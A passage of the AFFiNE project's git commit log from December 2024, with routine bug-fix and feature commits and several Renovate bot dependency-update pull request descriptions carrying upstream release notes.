| [next-themes](https://redirect.github.com/pacocoursey/next-themes) | [`0.4.3` -> `0.4.4`](https://renovatebot.com/diffs/npm/next-themes/0.4.3/0.4.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/next-themes/0.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/next-themes/0.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/next-themes/0.4.3/0.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/next-themes/0.4.3/0.4.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [nx](https://nx.dev) ([source](https://redirect.github.com/nrwl/nx/tree/HEAD/packages/nx)) | [`20.1.4` -> `20.2.2`](https://renovatebot.com/diffs/npm/nx/20.1.4/20.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/nx/20.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/nx/20.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/nx/20.1.4/20.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nx/20.1.4/20.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [openai](https://redirect.github.com/openai/openai-node) | [`4.74.0` -> `4.76.1`](https://renovatebot.com/diffs/npm/openai/4.74.0/4.76.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/openai/4.76.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/openai/4.76.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/openai/4.74.0/4.76.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/openai/4.74.0/4.76.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [piscina](https://redirect.github.com/piscinajs/piscina) | [`4.7.0` -> `4.8.0`](https://renovatebot.com/diffs/npm/piscina/4.7.0/4.8.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/piscina/4.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/piscina/4.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/piscina/4.7.0/4.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/piscina/4.7.0/4.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [playwright](https://playwright.dev) ([source](https://redirect.github.com/microsoft/playwright)) | [`=1.49.0` -> `=1.49.1`](https://renovatebot.com/diffs/npm/playwright/1.49.0/1.49.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/playwright/1.49.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/playwright/1.49.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/playwright/1.49.0/1.49.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/playwright/1.49.0/1.49.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [prettier](https://prettier.io) ([source](https://redirect.github.com/prettier/prettier)) | [`3.4.1` -> `3.4.2`](https://renovatebot.com/diffs/npm/prettier/3.4.1/3.4.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/prettier/3.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/prettier/3.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/prettier/3.4.1/3.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/prettier/3.4.1/3.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [react-day-picker](https://daypicker.dev) ([source](https://redirect.github.com/gpbl/react-day-picker)) | [`9.4.1` -> `9.4.3`](https://renovatebot.com/diffs/npm/react-day-picker/9.4.1/9.4.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-day-picker/9.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-day-picker/9.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-day-picker/9.4.1/9.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-day-picker/9.4.1/9.4.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [react-hook-form](https://www.react-hook-form.com) ([source](https://redirect.github.com/react-hook-form/react-hook-form)) | [`7.53.2` -> `7.54.0`](https://renovatebot.com/diffs/npm/react-hook-form/7.53.2/7.54.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-hook-form/7.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-hook-form/7.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-hook-form/7.53.2/7.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-hook-form/7.53.2/7.54.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [react-i18next](https://redirect.github.com/i18next/react-i18next) | [`15.1.3` -> `15.1.4`](https://renovatebot.com/diffs/npm/react-i18next/15.1.3/15.1.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-i18next/15.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-i18next/15.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-i18next/15.1.3/15.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-i18next/15.1.3/15.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [react-refresh](https://react.dev/) ([source](https://redirect.github.com/facebook/react/tree/HEAD/packages/react)) | [`^0.14.2` -> `^0.16.0`](https://renovatebot.com/diffs/npm/react-refresh/0.14.2/0.16.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-refresh/0.16.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-refresh/0.16.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-refresh/0.14.2/0.16.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-refresh/0.14.2/0.16.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [serde](https://serde.rs) ([source](https://redirect.github.com/serde-rs/serde)) | `1.0.215` -> `1.0.216` | [![age](https://developer.mend.io/api/mc/badges/age/crate/serde/1.0.216?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/serde/1.0.216?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/serde/1.0.215/1.0.216?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/serde/1.0.215/1.0.216?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [shadcn-ui](https://redirect.github.com/shadcn/ui) ([source](https://redirect.github.com/shadcn/ui/tree/HEAD/packages/cli)) | [`0.9.3` -> `0.9.4`](https://renovatebot.com/diffs/npm/shadcn-ui/0.9.3/0.9.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/shadcn-ui/0.9.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/shadcn-ui/0.9.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/shadcn-ui/0.9.3/0.9.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/shadcn-ui/0.9.3/0.9.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [sonner](https://sonner.emilkowal.ski/) ([source](https://redirect.github.com/emilkowalski/sonner)) | [`1.7.0` -> `1.7.1`](https://renovatebot.com/diffs/npm/sonner/1.7.0/1.7.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/sonner/1.7.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/sonner/1.7.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/sonner/1.7.0/1.7.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/sonner/1.7.0/1.7.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [tailwindcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss)) | [`3.4.15` -> `3.4.16`](https://renovatebot.com/diffs/npm/tailwindcss/3.4.15/3.4.16) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tailwindcss/3.4.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tailwindcss/3.4.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tailwindcss/3.4.15/3.4.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tailwindcss/3.4.15/3.4.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [tokio](https://tokio.rs) ([source](https://redirect.github.com/tokio-rs/tokio)) | `1.41.1` -> `1.42.0` | [![age](https://developer.mend.io/api/mc/badges/age/crate/tokio/1.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/tokio/1.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/tokio/1.41.1/1.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/tokio/1.41.1/1.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | minor |
| [typedoc](https://typedoc.org) ([source](https://redirect.github.com/TypeStrong/TypeDoc)) | [`0.27.2` -> `0.27.4`](https://renovatebot.com/diffs/npm/typedoc/0.27.2/0.27.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typedoc/0.27.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typedoc/0.27.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typedoc/0.27.2/0.27.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typedoc/0.27.2/0.27.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [undici](https://undici.nodejs.org) ([source](https://redirect.github.com/nodejs/undici)) | [`7.0.0` -> `7.1.0`](https://renovatebot.com/diffs/npm/undici/7.0.0/7.1.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/undici/7.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/undici/7.1.0?slim=tr
2024-12-12 15:45:43 +00:00
darkskygit
76f2c31e46 fix(core): gql file upload (#9134) 2024-12-12 14:38:09 +00:00
pengx17
152a406ced fix(core): center peek style (#9127)
fix PD-1912
2024-12-12 12:33:30 +00:00
DarkSky
ab1ad65858 feat(server): adapt normal workspace's invite link behavior (#9130) 2024-12-12 20:32:32 +08:00
renovate
e15a298b80 chore: bump up @testing-library/dom version to v10 (#9128)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@testing-library/dom](https://redirect.github.com/testing-library/dom-testing-library) | [`^9.3.4` -> `^10.0.0`](https://renovatebot.com/diffs/npm/@testing-library%2fdom/9.3.4/10.4.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@testing-library%2fdom/10.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@testing-library%2fdom/10.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@testing-library%2fdom/9.3.4/10.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@testing-library%2fdom/9.3.4/10.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>testing-library/dom-testing-library (@&#8203;testing-library/dom)</summary>

### [`v10.4.0`](https://redirect.github.com/testing-library/dom-testing-library/compare/v10.3.2...a86c54ccda5242ad8dfc1c70d31980bdbf96af7f)

[Compare Source](https://redirect.github.com/testing-library/dom-testing-library/compare/v10.3.2...v10.4.0)

### [`v10.3.2`](https://redirect.github.com/testing-library/dom-testing-library/releases/tag/v10.3.2)

[Compare Source](https://redirect.github.com/testing-library/dom-testing-library/compare/v10.3.1...v10.3.2)

##### Bug Fixes

-   safer read of DEBUG_PRINT_LIMIT ([#&#8203;1329](https://redirect.github.com/testing-library/dom-testing-library/issues/1329)) ([306526b](306526b551))

### [`v10.3.1`](https://redirect.github.com/testing-library/dom-testing-library/releases/tag/v10.3.1)

[Compare Source](https://redirect.github.com/testing-library/dom-testing-library/compare/v10.3.0...v10.3.1)

##### Bug Fixes

-   Revert "feat: Reduce caught exceptions in `prettyDom` ([#&#8203;1321](https://redirect.github.com/testing-library/dom-testing-library/issues/1321))" ([#&#8203;1325](https://redirect.github.com/testing-library/dom-testing-library/issues/1325)) ([fdc12ec](fdc12ecf43))

### [`v10.3.0`](https://redirect.github.com/testing-library/dom-testing-library/compare/v10.2.0...76cb73dec444fca7ae3d160b4dad3b61f7bc8995)

[Compare Source](https://redirect.github.com/testing-library/dom-testing-library/compare/v10.2.0...v10.3.0)

### [`v10.2.0`](https://redirect.github.com/testing-library/dom-testing-library/releases/tag/v10.2.0)

[Compare Source](https://redirect.github.com/testing-library/dom-testing-library/compare/v10.1.0...v10.2.0)

##### Features

-   Support anonymous custom elements when pretty printing DOM ([#&#8203;1319](https://redirect.github.com/testing-library/dom-testing-library/issues/1319)) ([0a8ad65](0a8ad65723))

### [`v10.1.0`](https://redirect.github.com/testing-library/dom-testing-library/releases/tag/v10.1.0)

[Compare Source](https://redirect.github.com/testing-library/dom-testing-library/compare/v10.0.0...v10.1.0)

##### Features

-   Add window events "pagehide" / "pageshow" ([#&#8203;1308](https://redirect.github.com/testing-library/dom-testing-library/issues/1308)) ([56543d5](56543d51a8))

### [`v10.0.0`](https://redirect.github.com/testing-library/dom-testing-library/releases/tag/v10.0.0)

[Compare Source](https://redirect.github.com/testing-library/dom-testing-library/compare/v9.3.4...v10.0.0)

##### Bug Fixes

-   use defineProperty on the error object instead of setting the message directly ([#&#8203;1268](https://redirect.github.com/testing-library/dom-testing-library/issues/1268)) ([3580f25](3580f25bd7)), closes [#&#8203;1259](https://redirect.github.com/testing-library/dom-testing-library/issues/1259)

##### Features

-   Drop support for Node.js 14.x and Node.js 16.x and add support for Node 20.x ([#&#8203;1255](https://redirect.github.com/testing-library/dom-testing-library/issues/1255)) ([452097b](452097b35a))
-   upgrade aria-query to 5.3.0 ([#&#8203;1241](https://redirect.github.com/testing-library/dom-testing-library/issues/1241)) ([2c57055](2c570553d8)), closes [#&#8203;1240](https://redirect.github.com/testing-library/dom-testing-library/issues/1240)

##### BREAKING CHANGES

-   Minimum supported Node.js version is 18.0
-   New version of `aria-query` changes various roles. Check out the changed tests in [`2c57055`](https://redirect.github.com/testing-library/dom-testing-library/commit/2c57055) to get an overview about what changed.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS41OC4xIiwidXBkYXRlZEluVmVyIjoiMzkuNTguMSIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-12 10:42:20 +00:00
pengx17
59f4f1e51d fix(core): at menu results use indexer data source (#9123)
fix AF-1942

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/T2klNLEk0wxLh4NRDzhk/51f7d691-4e6c-44e7-92ac-944b0d886683.png)
2024-12-12 10:17:15 +00:00
darkskygit
56c573ebf3 fix(server): accept invite condition (#9124) 2024-12-12 10:01:13 +00:00
devin-ai-integration
e100d252b2 fix(core): add null checks for timeout refs and event listeners for React 19 compatibility (#9116)
## Description
- Add null checks before clearTimeout calls in colorful-fallback.tsx, edgeless.dialog.tsx, and local.dialog.tsx
- Fix event listener cleanup in unfolding.tsx
- Update tsconfig.jsx to use react-jsx transform

## Testing
- [x] Verified type safety improvements for React 19 compatibility
- [x] Ensured proper cleanup of event listeners and timeouts
- [x] Confirmed no unintended side effects from the changes

Link to Devin run: https://app.devin.ai/sessions/2e790f3ea0d84402837ec6c3c6f83e4c
2024-12-12 09:43:42 +00:00
JimmFly
dd39d049fe feat(core): improve invite link (#9111) 2024-12-12 17:43:19 +08:00
darkskygit
cdb55a3393 chore(server): filter out some logs (#9059) 2024-12-12 09:19:48 +00:00
darkskygit
69e5997608 feat(server): team mail sender (#9104)
fix AF-1914
2024-12-12 07:33:32 +00:00
darkskygit
350696c861 fix(server): invite link & accept (#9109)
fix AF-1920
2024-12-12 07:33:30 +00:00
CatsJuice
5dd2dddd74 feat(mobile): show page back by url search (#9100)
close AF-1911
2024-12-12 07:14:05 +00:00
CatsJuice
84df2a1d16 fix(mobile): disable navigation gesture for swipe-dialog (#8993) 2024-12-12 06:55:16 +00:00
JimmFly
01b6e43c1f fix(core): the member list is not refreshed after operating the member status (#9115)
close AF-1939 AF-1938

fix(core): the member list is not refreshed after operating the member status

chore: temporarily remove the workspace AI switch
2024-12-12 06:33:10 +00:00
JimmFly
c0e0b12857 fix(core): wrong billing information display (#9117)
close AF-1935 AF-1933

fix(core): wrong billing information display

fix(core): add reminder for no cloud workspace in upgrade to team page
2024-12-12 06:16:31 +00:00
renovate
595125ebb3 chore: migrate renovate config (#9114)
The Renovate config in this repository needs migrating. Typically this is because one or more configuration options you are using have been renamed.

  You don't need to merge this PR right away, because Renovate will continue to migrate these fields internally each time it runs. But later some of these fields may be fully deprecated and the migrations removed. So it's a good idea to merge this migration PR soon.

🔕 **Ignore**: Close this PR and you won't be reminded about config migration again, but one day your current config may no longer be valid.

 Got questions? Does something look wrong to you? Please don't hesitate to [request help here](https://redirect.github.com/renovatebot/renovate/discussions).

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
2024-12-12 04:08:55 +00:00
renovate
7541bf3107 chore: bump up @types/graphql-upload version to v17 (#9005)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@types/graphql-upload](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/graphql-upload) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/graphql-upload)) | [`^16.0.7` -> `^17.0.0`](https://renovatebot.com/diffs/npm/@types%2fgraphql-upload/16.0.7/17.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fgraphql-upload/17.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fgraphql-upload/17.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fgraphql-upload/16.0.7/17.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fgraphql-upload/16.0.7/17.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS40Mi40IiwidXBkYXRlZEluVmVyIjoiMzkuNTguMSIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-12 03:52:01 +00:00
renovate
372f6893d6 chore: bump up oxlint version to v0.15.0 (#9096)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint)) | [`0.14.1` -> `0.15.0`](https://renovatebot.com/diffs/npm/oxlint/0.14.1/0.15.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/0.15.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/oxlint/0.15.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/oxlint/0.14.1/0.15.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/0.14.1/0.15.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

### [`v0.15.0`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v0.15.0): oxlint v0.15.0

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.14.1...oxlint_v0.15.0)

#### \[0.15.0] - 2024-12-10

-   [`39b9c5d`](https://redirect.github.com/oxc-project/oxc/commit/39b9c5d) linter: \[**BREAKING**] Remove unmaintained security plugin ([#&#8203;7773](https://redirect.github.com/oxc-project/oxc/issues/7773)) (Boshen)

##### Features

-   [`065f7dc`](https://redirect.github.com/oxc-project/oxc/commit/065f7dc) linter: Support `expectTypeOf`, `assert` and `assertType` in `vitest/expect-expect` ([#&#8203;7742](https://redirect.github.com/oxc-project/oxc/issues/7742)) (Yuichiro Yamashita)
-   [`3d5f0a1`](https://redirect.github.com/oxc-project/oxc/commit/3d5f0a1) linter/no_restricted_imports: Add the no_restricted_imports rules ([#&#8203;7629](https://redirect.github.com/oxc-project/oxc/issues/7629)) (Guillaume Piedigrossi)

##### Bug Fixes

-   [`ad27b20`](https://redirect.github.com/oxc-project/oxc/commit/ad27b20) linter: Only resolve esm files for import plugin ([#&#8203;7720](https://redirect.github.com/oxc-project/oxc/issues/7720)) (Boshen)
-   [`5e6053f`](https://redirect.github.com/oxc-project/oxc/commit/5e6053f) linter: False positive in `eslint/yoda` ([#&#8203;7719](https://redirect.github.com/oxc-project/oxc/issues/7719)) (dalaoshu)

##### Refactor

-   [`c6a19aa`](https://redirect.github.com/oxc-project/oxc/commit/c6a19aa) linter: Remove unused `serde` features ([#&#8203;7738](https://redirect.github.com/oxc-project/oxc/issues/7738)) (Boshen)
-   [`b9a2b35`](https://redirect.github.com/oxc-project/oxc/commit/b9a2b35) linter: Remove `aho-corasick` ([#&#8203;7718](https://redirect.github.com/oxc-project/oxc/issues/7718)) (Boshen)

##### Testing

-   [`62f0a22`](https://redirect.github.com/oxc-project/oxc/commit/62f0a22) linter: Port `react-jsx-uses-vars` rules to no_unused_vars ([#&#8203;7731](https://redirect.github.com/oxc-project/oxc/issues/7731)) (Tyler Earls)
-   [`02f9903`](https://redirect.github.com/oxc-project/oxc/commit/02f9903) linter: Add regression tests for `import/namespace` ([#&#8203;7723](https://redirect.github.com/oxc-project/oxc/issues/7723)) (dalaoshu)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS41OC4xIiwidXBkYXRlZEluVmVyIjoiMzkuNTguMSIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-12 03:09:20 +00:00
pengx17
ae2d0c3bcf fix(core): tag inline editor filter should ignore case (#8936)
fix PD-1891
2024-12-12 02:49:32 +00:00
EYHN
91089ff5a2 fix(core): fix sign in with email (#9108) 2024-12-12 02:48:36 +00:00
pengx17
fea4777ef2 chore(core): at menu journal entry tracking (#9054)
fix AF-1844
2024-12-12 02:25:01 +00:00
pengx17
30d6793978 feat(core): add journal search results to bs doc search (#9052)
fix AF-1842
2024-12-12 02:25:00 +00:00
renovate
21969731a3 chore: bump up @nestjs/throttler version to v6.3.0 (#9095)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs/throttler](https://redirect.github.com/nestjs/throttler) | [`6.2.1` -> `6.3.0`](https://renovatebot.com/diffs/npm/@nestjs%2fthrottler/6.2.1/6.3.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fthrottler/6.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fthrottler/6.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fthrottler/6.2.1/6.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fthrottler/6.2.1/6.3.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>nestjs/throttler (@&#8203;nestjs/throttler)</summary>

### [`v6.3.0`](https://redirect.github.com/nestjs/throttler/blob/HEAD/CHANGELOG.md#630)

[Compare Source](https://redirect.github.com/nestjs/throttler/compare/v6.2.1...v6.3.0)

##### Minor Changes

-   [`fc93f3a`](https://redirect.github.com/nestjs/throttler/commit/fc93f3a): pass context to getTraker as a second arg

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS41OC4xIiwidXBkYXRlZEluVmVyIjoiMzkuNTguMSIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-12 02:06:39 +00:00
forehalo
cc217425db ci: fix release action 2024-12-11 23:00:14 +08:00
EYHN
